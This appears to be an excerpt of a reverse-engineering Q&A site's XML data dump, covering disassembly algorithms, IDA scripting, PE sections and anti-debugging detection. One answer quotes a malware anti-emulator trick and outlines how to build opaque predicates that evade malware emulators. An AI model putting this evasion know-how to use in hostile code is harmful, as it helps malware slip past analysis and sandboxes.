OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-06-26T13:06:02.117" LastActivityDate="2013-06-26T13:06:02.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2344" PostTypeId="2" ParentId="2340" CreationDate="2013-06-26T12:29:54.013" Score="5" Body="&lt;p&gt;One opaque predicate I found in a malware sample years ago:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetErrorMode(1024);&#xA;if ( SetErrorMode(0) == 0 )&#xA;  SayHiToEmulator();&#xA;DoRealStuff();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the other question, how to build new opaque predicates, I think it depends on the kind of analyser you want to disrupt. It's different to disrupt a static code analyser designed to find bugs than disrupting an emulator designed to mimic the environment where a malware should run in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, let's say that you want to disrupt malware emulators: you can build a list of APIs from the most common libraries (kernel32.dll, advapi32.dll, user32.dll, etc...), create a batch of proves where you execute those APIs changing the arguments and checking the return values and generated exceptions, if any, and save the results. Then check the results of such APIs and find candidates: For example, a return value related to the input to such APIs is a good candidate for an opaque predicate. Specific conditions (exceptions or return values) that only happen rarely and with certain specific inputs are even better. Just some ideas...&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-06-26T12:29:54.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2345" PostTypeId="2" ParentId="2340" CreationDate="2013-06-26T13:42:56.820" Score="2" Body="&lt;p&gt;&lt;strong&gt;Manufacturing Cheap, Resilient, and Stealthy Opaque Constructs&lt;/strong&gt;,&#xA;&lt;em&gt;ACM Principles of Programming Languages&lt;/em&gt; (POPL'98), January 1998.&lt;/p&gt;&#xA;&lt;p&gt;The article has 300+ citations. The paper is a good text on the topic of opaque predicates, then follow-up on the citations to look for newer articles that refer to it.&lt;/p&gt;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://dl.acm.org/doi/10.1145/268946.268962&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manufacturing Cheap, Resilient, and Stealthy Opaque Constructs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2303" LastEditorUserId="3872" LastEditDate="2021-06-17T15:33:48.750" LastActivityDate="2021-06-17T15:33:48.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2347" PostTypeId="1" AcceptedAnswerId="2350" CreationDate="2013-06-26T15:34:43.370" Score="13" ViewCount="8474" Body="&lt;p&gt;Disassembling binary code is a quite difficult topic, but for now only two (naive) algorithms seems to be broadly used in the tools.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Linear Sweep&lt;/strong&gt;: A basic algorithm taking all the section marked as &lt;em&gt;code&lt;/em&gt; and disassembling it by reading the instructions one after each other.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Recursive Traversal&lt;/strong&gt;: Refine the linear sweep by remembering when (and where) a &lt;code&gt;call&lt;/code&gt; has been taken and returning to the last &lt;code&gt;call&lt;/code&gt; when encountering a &lt;code&gt;ret&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Yet, the description of these algorithms are quite vague. In real-life tools, they have been a bit refined to improve the accuracy of the disassembling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;objdump&lt;/code&gt; perform a linear sweep but will start from all the symbols (and not only the beginning of the sections marked as &lt;code&gt;code&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can somebody give a more realistic description of the recursive traversal algorithm (&lt;em&gt;e.g.&lt;/em&gt; as it is coded in IDAPro) ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-06-26T20:36:02.693" Title="What is the algorithm used in Recursive Traversal disassembly?" Tags="|disassemblers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2348" PostTypeId="1" CreationDate="2013-06-26T16:48:34.133" Score="6" ViewCount="234" Body="&lt;p&gt;That's it, just want to know how to find the symbol table in a binary I pulled from a DSP chip.  I know it could be stripped, just don't know how to tell.  &lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2013-06-26T16:48:34.133" Title="How to find the symbol table in a TI DSP. (TMS320C5510)" Tags="|debugging-symbols|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2349" PostTypeId="2" ParentId="2347" CreationDate="2013-06-26T17:00:16.307" Score="12" Body="&lt;p&gt;Here's a &lt;em&gt;very&lt;/em&gt; simplified overview of how IDA does it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add to the analysis queue all known entrypoints, or addresses specified by the user&lt;/li&gt;&#xA;&lt;li&gt;while queue not empty, pop the next address&lt;/li&gt;&#xA;&lt;li&gt;ask processor module to disassemble the instruction&lt;/li&gt;&#xA;&lt;li&gt;ask processor module to analyze the instruction&lt;/li&gt;&#xA;&lt;li&gt;processor module adds code cross-references to all possible targets&lt;br&gt;&#xA;in the simplest case, it's the next instruction&lt;br&gt;&#xA;for conditional jumps and calls, it's the next instruction and the target&lt;br&gt;&#xA;for indirect jumps - unknown, unless it's a recognized switch pattern&lt;/li&gt;&#xA;&lt;li&gt;put not-yet analyzed targets of all those cross-references into the queue&lt;/li&gt;&#xA;&lt;li&gt;go to step 2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, in reality things are more complex. To start with, there's not a single queue but several. From the SDK's &lt;code&gt;auto.hpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;//      This file contains functions that work with the autoanalyzer&#xA;//      queue. The autoanalyzer works when IDA is not busy processing&#xA;//      the user keystrokes.&#xA;//      The autoanalyzer has several queues. Each queue has its priority.&#xA;//      A queue contains addresses or address ranges.&#xA;//      The addresses are kept sorted by their values.&#xA;//      The analyzer will process all addresses from the first queue, then&#xA;//      switch to the second queue and so on.&#xA;//      There are no limitations on the size of the queues.&#xA;//      The analyzer stops when all queues are empty.&#xA;//&#xA;//      Also this file contains functions that deal with the IDA status&#xA;//      indicator and the autoanalysis indicator.&#xA;//      You may use these functions to change the indicator value.&#xA;//&#xA;&#xA;// Names and priorities of the analyzer queues&#xA;&#xA;typedef int atype_t;&#xA;const atype_t           // priority,  description&#xA;  AU_NONE = 00,         //    placeholder, not used&#xA;  AU_UNK  = 10,         //  0 convert to unexplored&#xA;  AU_CODE = 20,         //  1 convert to instruction&#xA;  AU_WEAK = 25,         //  2 convert to instruction (ida decision)&#xA;  AU_PROC = 30,         //  3 convert to procedure start&#xA;  AU_TAIL = 35,         //  4 add a procedure tail&#xA;  AU_TRSP = 38,         //  5 trace stack pointer (not used yet)&#xA;  AU_USED = 40,         //  6 reanalyze&#xA;  AU_TYPE = 50,         //  7 apply type information&#xA;  AU_LIBF = 60,         //  8 apply signature to address&#xA;  AU_LBF2 = 70,         //  9 the same, second pass&#xA;  AU_LBF3 = 80,         // 10 the same, third pass&#xA;  AU_CHLB = 90,         // 11 load signature file (file name is kept separately)&#xA;  AU_FINAL=200;         // 12 final pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-06-26T17:00:16.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2350" PostTypeId="2" ParentId="2347" CreationDate="2013-06-26T20:36:02.693" Score="12" Body="&lt;p&gt;I have decided to post my answer not to overthrow Igor's answer, but to have an addition to it. I was not comfortable with editing his post either. I am pretty new to the forum and not sure how it is taken by other members. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a little theory I have recently learned, which I would like to share. Anyways, what I have taken in about IDA Pro from &lt;a href=&quot;http://nostarch.com/idapro.htm&quot;&gt;The IDA Pro Book&lt;/a&gt; (Part I, Section 1) is that it uses &lt;strong&gt;&lt;code&gt;Recursive Descent Disassembly&lt;/code&gt;&lt;/strong&gt;, which is based on the concept of control flow. The key element to this approach is the analysis of each instruction in order to determine if it is referenced from any other location. Each instruction is classified according to how it interacts with EIP. There are several main classifications:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sequential Flow Instuctions&lt;/strong&gt;. Those are instruction that pass execution to the next instruction to follow such as &lt;code&gt;add&lt;/code&gt;, &lt;code&gt;mov&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;, &lt;code&gt;pop&lt;/code&gt;, etc. Those instructions are disassembled with &lt;strong&gt;linear sweep&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Conditional Branching Instructions&lt;/strong&gt;. Those are &lt;em&gt;True/False&lt;/em&gt; conditional instructions such as &lt;code&gt;je&lt;/code&gt; and such. Conditional instructions only offer 2 possible branches of execution. If condition is &lt;em&gt;False&lt;/em&gt; and jump is not taken disassembler proceeds with &lt;strong&gt;linear sweep&lt;/strong&gt;, and adds jump target instruction to a list of deferred code to be disassembled at later time using &lt;strong&gt;recursive descent algorithm&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unconditional Branching Instructions&lt;/strong&gt;. Those instruction can cause particular problems for recursive descent disassemblers in case the jump target is calculated at runtime. Unconditional branches do not follow linear flow. If possible, disassembler will attempt to add the target of the unconditional jump for further analysis. If target is not determined, there is going to be no disassembly for the particular branch.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Function Call Instructions&lt;/strong&gt;. Call instructions are mostly treated as Unconditional Branching Instructions with expectation that execution would return to the instruction following the call as soon as function completes. The target address address of the call instruction is queued for deferred disassembly, and the instruction following the call is processed as linear sweep. However, it is not always possible to determine target of the call (e.g. &lt;code&gt;call eax&lt;/code&gt;). &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Return Instructions&lt;/strong&gt; Return instructions do not offer any information to disassembler about what to execute next. Disassemblers cannot pop the return address from the top of the stack. All of that brings disassembler to stop. At this point disassembler turns to the saved list of deferred targets to follow next. That is exactly why it is called &lt;strong&gt;&lt;em&gt;recursive&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To summarize, I would like to quote &lt;a href=&quot;http://nostarch.com/idapro.htm&quot;&gt;The IDA Pro Book&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One of the principle advantages of the recursive descent algorithm is its superior ability to distinguish code from data. As a control flow-based algorithm, it is much less likely to incorrectly disassemble data values as code. The main disadvantage of recursive descent is the inability to follow indirect code paths, such as jumps or calls, which utilize tables of pointers to look up a target address. However, with the addition of some heuristics to identify pointers to code, recursive descent disassemblers can provide very complete code coverage and excellent recognition of code versus data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-06-26T20:36:02.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostTypeId="1" AcceptedAnswerId="2352" CreationDate="2013-06-27T03:23:36.630" Score="8" ViewCount="8461" Body="&lt;p&gt;While disassembling a malware binary, I came across several arrays of shorts. The size of each array is 1024 members. I would like to export them to C style arrays, as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;short array1[1024] = { 2, 5, 8, ... , 4};  /* This is just an example */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could definitely do &lt;em&gt;Copy/Paste&lt;/em&gt; and edit the whole thing by hand. However, it seems to be pretty tedious. I wonder, is there a better approach to achieve it? Could it be done with script/plugin? &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="1562" LastEditDate="2013-06-27T14:04:47.803" LastActivityDate="2015-10-24T14:47:38.660" Title="IDA Pro: How to export data to C style array?" Tags="|disassembly|ida|ida-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostTypeId="2" ParentId="2351" CreationDate="2013-06-27T03:58:35.070" Score="12" Body="&lt;p&gt;A small script will do the trick.  In IDC, something like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto ea, len, i;&#xA;len = 1024;&#xA;ea = /* whatever */;&#xA;&#xA;Message(&quot;short array[1024] = {\n  &quot;);&#xA;for(i = 0; i &amp;lt; len; i = i + 1)&#xA;{&#xA;  Message(&quot;0x%.04lx&quot;, Word(ea+i*2));&#xA;  if( i != (len - 1) )&#xA;    Message(&quot;,&quot;);&#xA;&#xA;  if(i &amp;gt; 0 &amp;amp;&amp;amp; (i % 0x1f) == 0)&#xA;    Message(&quot;\n  &quot;);&#xA;}&#xA;Message(&quot;};\n\n&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;To Handle Bytes instead of Words&#xA;Replace &#xA;`Word(...)` with `Byte(...)` &#xA;and&#xA;`0x%.04lx` with `0x%.02lx`&#xA;and&#xA; Word(ea+i*2) with Byte(ea+i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;To Handle DWORDs instead of WORDs&#xA;Replace &#xA;`Word(...)` with `DWord(...)` &#xA;and&#xA;`0x%.04lx` with `0x%.08lx`&#xA;and&#xA; Word(ea+i*2) with DWord(ea+i*4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="3510" LastEditDate="2015-10-24T14:47:38.660" LastActivityDate="2015-10-24T14:47:38.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostTypeId="1" AcceptedAnswerId="2377" CreationDate="2013-06-27T06:33:15.577" Score="5" ViewCount="1535" Body="&lt;p&gt;Another slightly esoteric microcontroller in a product I'm looking at - the NEC 78K0R microcontroller. This is a 16-bit extension of the 78K0. The 78K0 can be disassembled in IDA Pro, but not the 78K0R.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renesas Cubesuite allows viewing of disassembly of code compiled/assembled through it, as does IAR Workbench, but I can't see a way of loading a bin or hex file into these for disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;KPIT GNU binutils has support for the RL78, which has a lot in common with the 78K0 instruction set, but is still very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a free disassembler for these microcontrollers?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="189" LastEditDate="2013-06-27T16:43:39.887" LastActivityDate="2013-06-28T21:07:17.390" Title="Are there any free disassemblers for the NEC 78K0R family of processors?" Tags="|tools|disassembly|nec-78k0r|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostTypeId="1" AcceptedAnswerId="2356" CreationDate="2013-06-27T15:16:48.137" Score="6" ViewCount="487" Body="&lt;p&gt;A common anti-debugging practice is to overwrite functions such as DbgUiRemoteBreakin within ntdll.dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since in-memory representation of common libraries is always the same on each platform, it should be possible for an external tool to connect to a process and compare in-memory library code with a reference in order to find any manipulations done by the process itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know such a tool for Windows?&lt;/p&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="2158" LastEditDate="2013-06-28T02:36:58.300" LastActivityDate="2013-06-28T02:44:57.707" Title="Tool for checking for in-memory code modifications of loaded DLLs" Tags="|tools|windows|dll|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2356" PostTypeId="2" ParentId="2355" CreationDate="2013-06-27T15:36:54.833" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff562217%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WinDbg can do this&lt;/a&gt; for Microsoft DLLs and executables (and generally for any code that can be obtained from the symbol server). Just attach the debugger to the process and do &lt;code&gt;!chkimg &amp;lt;module&amp;gt;&lt;/code&gt;. It will download a clean copy of the module from the symbol server and compare it, reporting on differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2010/04/29/analyzing-malwares-using-microsoft-tools.aspx&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; has an example of the output you can expect to see when something has modified a binary.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-06-27T15:36:54.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2357" PostTypeId="1" CreationDate="2013-06-27T19:57:43.853" Score="1" ViewCount="2039" Body="&lt;p&gt;The device I'm using uses a Dot Matrix LCD and I would like to find the bmp it's using to draw things on the screen.  I've checked for a standard bmp header but didn't see it.&lt;br&gt;&#xA;Is there any tool out there that will do this conversion for me so I can see what's stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if the data is compressed or not nor do I know how to figure that out.  First time dealing with one of these.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="189" LastEditDate="2013-06-28T02:39:08.700" LastActivityDate="2013-08-27T04:06:42.003" Title="How do I convert a byte array to bitmap for a dot matrix LCD?" Tags="|disassembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2358" PostTypeId="2" ParentId="1984" CreationDate="2013-06-27T20:04:43.100" Score="2" Body="&lt;p&gt;This thermostat looks identical to the Radio Thermostat CT-50. That device has an open JSON API which you can read on their website.  &lt;a href=&quot;http://radiothermostat.com&quot; rel=&quot;nofollow&quot;&gt;http://radiothermostat.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2352" LastActivityDate="2013-06-27T20:04:43.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostTypeId="1" AcceptedAnswerId="2361" CreationDate="2013-06-27T20:05:38.347" Score="2" ViewCount="1094" Body="&lt;p&gt;I have a file that among other sections has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;code&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.text&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.bss&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And this file was not crafted manually, so I suspect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is what could be the meaning of &lt;code&gt;code&lt;/code&gt; and &lt;code&gt;.text&lt;/code&gt; sections? As far as I know, executable code is located in &lt;code&gt;.text&lt;/code&gt; section, so why compiler would add the other one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more information for answer I'll try to provide as much as I can.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="53" LastEditDate="2013-06-28T07:51:56.317" LastActivityDate="2013-07-03T04:44:49.063" Title="Question regarding sections in PE image" Tags="|pe|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostTypeId="2" ParentId="2355" CreationDate="2013-06-27T20:05:55.020" Score="3" Body="&lt;p&gt;You can attach to the process &lt;code&gt;non invasive&lt;/code&gt; and use !&lt;code&gt;chkimg !chkallimg !chksym&lt;/code&gt; commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for &lt;code&gt;non invasive check box&lt;/code&gt; in the attach to process dialog in &lt;code&gt;windbg&lt;/code&gt; or use &lt;code&gt;.attach -v &quot;pid&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attaching in a non invasive way minimizes debugger interference and in most cases will not trigger the anti-debugging routines.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="189" LastEditDate="2013-06-28T02:44:57.707" LastActivityDate="2013-06-28T02:44:57.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostTypeId="2" ParentId="2359" CreationDate="2013-06-27T20:23:26.970" Score="6" Body="&lt;p&gt;In general &lt;code&gt;.code&lt;/code&gt; and &lt;code&gt;.text&lt;/code&gt; sections are synonymous. Both of those section contain executable code. Whereas, &lt;code&gt;.data&lt;/code&gt; section contains non-executable data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.bss&lt;/code&gt; segment is usually added due to optimization. The size of &lt;code&gt;.bss&lt;/code&gt; is usually really small since it is designated to hold uninitialized data. In comparison, &lt;code&gt;.data&lt;/code&gt; segment is designated to hold global/static variables and data structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second code segment was most likely added manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it is impossible to answer why the binary has two sections of code just by looking at the names. I think it is obviously unusual. I can state one thing for sure, you have two sections for a reason. However, you gonna have to fig in to figure out what the reason is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing I would do is try to confirm segment permissions and CLASS. True code segment will have &lt;code&gt;Read&lt;/code&gt; and &lt;code&gt;Execute&lt;/code&gt; permissions. You can use lots of different tools to verify it. For instance, if you were to use IDA, it is done with &lt;code&gt;Segments Subview&lt;/code&gt;, which could be accessed with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F7&lt;/kbd&gt;. You might get lucky and spot the fake right from the get go. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-02T17:55:14.617" LastActivityDate="2013-07-02T17:55:14.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostTypeId="2" ParentId="2359" CreationDate="2013-06-27T20:32:18.567" Score="1" Body="&lt;p&gt;Using &lt;code&gt;#pragma data_seg(.xxxxx)&lt;/code&gt; one can create a separate section and it is possible for the name to be &lt;code&gt;.code&lt;/code&gt;, as section names are just names and are alterable.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1562" LastEditDate="2013-06-27T21:01:43.493" LastActivityDate="2013-06-27T21:01:43.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostTypeId="2" ParentId="2359" CreationDate="2013-06-27T20:52:00.370" Score="2" Body="&lt;p&gt;Section names &lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;.bss&lt;/code&gt; are default names used by Microsoft's VC++ compiler. While &lt;code&gt;CODE&lt;/code&gt; is used by Borland's compiler, &lt;code&gt;code&lt;/code&gt; is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, it would seem as though this PE file was created with Microsoft VC++ and the &lt;code&gt;code&lt;/code&gt; section was added manually by the PE file's author. However, section names can be modified to be any value up to 8 characters (and are ignored by the Windows loader), so take this with a grain of salt.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-06-28T12:58:16.257" LastActivityDate="2013-06-28T12:58:16.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostTypeId="2" ParentId="2359" CreationDate="2013-06-28T05:16:22.497" Score="2" Body="&lt;p&gt;You can create arbitrary sections, with any name you wish in a PE file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;code&lt;/code&gt; sections ring a bell, perhaps this is a packed executable? I cannot remember which packer, however.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2013-06-28T05:16:22.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostTypeId="2" ParentId="2357" CreationDate="2013-06-28T05:29:07.700" Score="1" Body="&lt;p&gt;You leave a lot of questions unanswered. What architecture of microprocessor is this?  Is everything in one binary firmware blob, or is there storage with a filesystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely the image data is in a raw format embedded in the firmware binary. For a small embedded system, I would be surprised to find a &quot;BM&quot; header. What I would do, is disassemble the firmware, and look for references to large &quot;blobs&quot; of data. They could be drawing smaller sprites, or it could be copying a large image (you haven't really specified.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details about the LCD will be helpful here also. Most likely a datasheet will tell you what format the LCD expects its data in (how many bits/pixel, etc.) If you can figure out (electrically) how the LCD is connected, then you can possibly figure out what I/O ports the firmware will access to write to the LCD. Then you can work backwards to see how it is transforming the image data (if at all) before writing it to the LCD.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2013-06-28T05:29:07.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2368" PostTypeId="2" ParentId="2313" CreationDate="2013-06-28T05:48:08.680" Score="2" Body="&lt;p&gt;What you describe is how I've typically approached this.  Setting a breakpoint on &lt;code&gt;fork&lt;/code&gt; itself provides a nice spot to change this mode, if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if the child threads / processes are &quot;stable&quot;, you can switch to them after the fact with the &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Inferiors-and-Programs.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inferior&lt;/code&gt; command&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow&quot;&gt;http://sourceware.org/gdb/onlinedocs/gdb/Forks.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2013-06-28T05:48:08.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2370" PostTypeId="2" ParentId="1614" CreationDate="2013-06-28T08:22:23.467" Score="7" Body="&lt;p&gt;Manually, i prefer to observe the following signs in the &lt;strong&gt;PE header&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Presence of &lt;strong&gt;mscoree!_CorExeMain&lt;/strong&gt; in the &lt;strong&gt;import table&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- &lt;strong&gt;VirtualAddress&lt;/strong&gt; and &lt;strong&gt;Size&lt;/strong&gt; of the &lt;strong&gt;CLR Header&lt;/strong&gt;/*&lt;em&gt;Com Descriptor&lt;/em&gt;* data directory are set. Size set to &lt;strong&gt;0x48&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Size of the &lt;strong&gt;Base Relocation&lt;/strong&gt; data directory set to &lt;strong&gt;0x0C&lt;/strong&gt; i.e. Only one fixup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, one minor sign is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- &lt;strong&gt;SectionAlignment&lt;/strong&gt; set to &lt;strong&gt;0x2000&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1331" LastActivityDate="2013-06-28T08:22:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostTypeId="1" AcceptedAnswerId="2909" CreationDate="2013-06-28T10:04:32.957" Score="3" ViewCount="401" Body="&lt;p&gt;I recently stumbled on a &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/1ep2ur/reverse_engineering_a_mass_transit_ticketing/&quot; rel=&quot;nofollow&quot;&gt;talk&lt;/a&gt; from Ruxcon 2012 explaining the reverse of a mass transit ticketing system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, they focused on paper tickets reverse engineering with a skimmer and a lot of brain activity. This seems to be quite amusing and interesting. But, nowadays a big part of the ticketing system is also using NFC (Near Field Communication) or RFID (Radio Frequency IDentification) especially for people who are subscribing for a month or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a few websites (like &lt;a href=&quot;http://users.skynet.be/marc.sel/index-MTC.html&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; or &lt;a href=&quot;http://wiki.yobi.be/wiki/MOBIB&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;), trying to gather knowledge about how all this ticketing system works. But, nothing really global and fully furnished (from the paper ticket system up to the NFC/RFID system).&#xA;I would like to know how to set up such a lab.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What hardware is required (skimmer, NFC/RFID/Smartcard reader, the needed computing power to gather, ...) ?&lt;/li&gt;&#xA;&lt;li&gt;What is, approximately, the cost, in time for setting such a lab (and getting the necessary material to work on) ?&lt;/li&gt;&#xA;&lt;li&gt;How to proceed once the lab has been set-up and the material gathered ?&lt;/li&gt;&#xA;&lt;li&gt;Is there some tricks that can lower the cost/time that you spend on it ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-06-28T17:32:55.693" LastActivityDate="2013-10-10T16:23:00.430" Title="How to set-up a lab for reversing a mass transit ticketing system?" Tags="|hardware|smartcards|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
